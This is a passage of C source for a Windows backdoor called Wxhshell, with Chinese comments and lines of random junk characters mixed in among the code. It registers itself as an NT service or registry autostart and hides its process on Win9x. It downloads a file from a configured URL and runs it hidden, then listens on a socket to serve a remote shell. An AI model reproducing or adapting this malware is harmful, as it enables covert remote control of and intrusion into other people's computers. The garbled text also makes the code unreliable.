KXd char procName[255]; 89@89-_mC unsigned long cbNeeded; 'oEFNC9V GA6Z{U{XS if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tB[(o%k d+ih]? CloseHandle(hProcess); !?ayZ5G([ !HqIi@>8 if(strstr(procName,"services")) return 1; // 以服务启动 ,US~p_M! "~7| !9< return 0; // 注册表启动 *=S\jek } 4^alAq^ PKfxL}:"8 // 主模块 =o _d2Ak int StartWxhshell(LPSTR lpCmdLine) =YZp,{T { Sd^e!?bp SOCKET wsl; ,h5.Si> BOOL val=TRUE; Roy`HU
;0a int port=0; rQ*'2Zf'< struct sockaddr_in door; ui7 0| nUhD41GJ if(wscfg.ws_autoins) Install(); 0} liK |RAi6;
port=atoi(lpCmdLine); yi# Nrc5B `-s+ zG if(port<=0) port=wscfg.ws_port; R`ZU'| 9T|7edl WSADATA data; D/{Tl if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o|l)oc6{ n1uJQt if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; v2EM| Q xp setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w>H!H6Q door.sin_family = AF_INET; 6l [TQ door.sin_addr.s_addr = inet_addr("127.0.0.1"); lbT<HWzNH door.sin_port = htons(port); %MbjKw p`Omcl~Q if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x;Dr40wD@y closesocket(wsl); yKOf]m># return 1; U`:#+8h-} } 9qQ_#$Vv t wtGkkC if(listen(wsl,2) == INVALID_SOCKET) { A0O$B7ylQ closesocket(wsl); V[+ Pb] return 1; Qh/yPOSm: } -&))$h3o\ Wxhshell(wsl); >S5D-)VX WSACleanup(); YV{^S6M wxo( return 0; w:'$Uf8] s.C-II?e } !S%XIq}FX f>ED // 以NT服务方式启动 ^o:0 Y}v= VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z
O$SL8U { cdzzS?$) DWORD status = 0; bU2)pD!N DWORD specificError = 0xfffffff; Sqc*u&W t}nZrD serviceStatus.dwServiceType = SERVICE_WIN32; 'D\(p,(Mt serviceStatus.dwCurrentState = SERVICE_START_PENDING; -Q 6W`*8 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cy^6g?ew serviceStatus.dwWin32ExitCode = 0; ;c:vzF~Q serviceStatus.dwServiceSpecificExitCode = 0; 0[PPVr: serviceStatus.dwCheckPoint = 0; JYm@Llf)$ serviceStatus.dwWaitHint = 0; kt X(\Hf! jc Ie<i; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xC<OFpI\ if (hServiceStatusHandle==0) return; NO`a2HR$ )dC%g=dtc status = GetLastError(); 8-juzL} if (status!=NO_ERROR) =kZPd>&L { go2:D#mf serviceStatus.dwCurrentState = SERVICE_STOPPED; 0
"pm7 serviceStatus.dwCheckPoint = 0;
6=A++H@ serviceStatus.dwWaitHint = 0; rx_'( serviceStatus.dwWin32ExitCode = status; N[aK#o, serviceStatus.dwServiceSpecificExitCode = specificError; {x2N~1!E SetServiceStatus(hServiceStatusHandle, &serviceStatus); [_-CO}> return; vj?9X5A_ } y7d)[d*Mz 4y
582u6^ serviceStatus.dwCurrentState = SERVICE_RUNNING; dHf_&X2A serviceStatus.dwCheckPoint = 0; ttZ!P:H2 serviceStatus.dwWaitHint = 0; W.zA1S if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4X#>; } ,589/xTA@ z56W5g2 // 处理NT服务事件,比如:启动、停止 *tz"T-6O VOID WINAPI NTServiceHandler(DWORD fdwControl) 'OBAnE<. { E# e=<R switch(fdwControl) ,E)bS7W { &giJO-^
f case SERVICE_CONTROL_STOP: vhWj_\m serviceStatus.dwWin32ExitCode = 0; I+`~6 serviceStatus.dwCurrentState = SERVICE_STOPPED; Cd|V<BB9 serviceStatus.dwCheckPoint = 0; v{?9PRf\s serviceStatus.dwWaitHint = 0; z?j~ 2K<4 { I|Z5*iXqCm SetServiceStatus(hServiceStatusHandle, &serviceStatus); -BQM i0 } (zJ
TBI' return; !R{L`T0 case SERVICE_CONTROL_PAUSE: ']Y:f)i# serviceStatus.dwCurrentState = SERVICE_PAUSED; Z?"Pkc.Ei break; 3gv>AgG case SERVICE_CONTROL_CONTINUE: eg?vYW serviceStatus.dwCurrentState = SERVICE_RUNNING; jn)~@~c break; m]7yc>uDy case SERVICE_CONTROL_INTERROGATE: 2R2Z6} break; /=m=i%& # }; db.iMBki SetServiceStatus(hServiceStatusHandle, &serviceStatus); P>4(+s
} /:yKa=$ =\:YNP/ // 标准应用程序主函数 `jP\*k`~] int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .~W7{SY[ { !WVF{L,/I q3scz // 获取操作系统版本 "5Kx]y8 OsIsNt=GetOsVer(); [R
A=M GetModuleFileName(NULL,ExeFile,MAX_PATH); O%0G37h ,p$1n; // 从命令行安装 >K50 h if(strpbrk(lpCmdLine,"iI")) Install(); !^l<jrM J,{sRb% // 下载执行文件 'ky'GzX, if(wscfg.ws_downexe) { l Fzb$k}_{ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q^fli"_: WinExec(wscfg.ws_filenam,SW_HIDE); E@t~juF! } l6l)M *<Qn)Az if(!OsIsNt) { =H!u4
// 如果时win9x,隐藏进程并且设置为注册表启动 LAMTf"a HideProc(); }p8a'3@Z StartWxhshell(lpCmdLine); (U$ F) 7 } = UTv else *(o~pxFTR if(StartFromService()) \:-; { // 以服务方式启动 _5.7HEw>/ StartServiceCtrlDispatcher(DispatchTable); 1S.nqOfx else $stJ+uh // 普通方式启动 (q:L_zFj>" StartWxhshell(lpCmdLine); mI"|^!L 6"jq/Pu return 0; ~Qzm!Po, }
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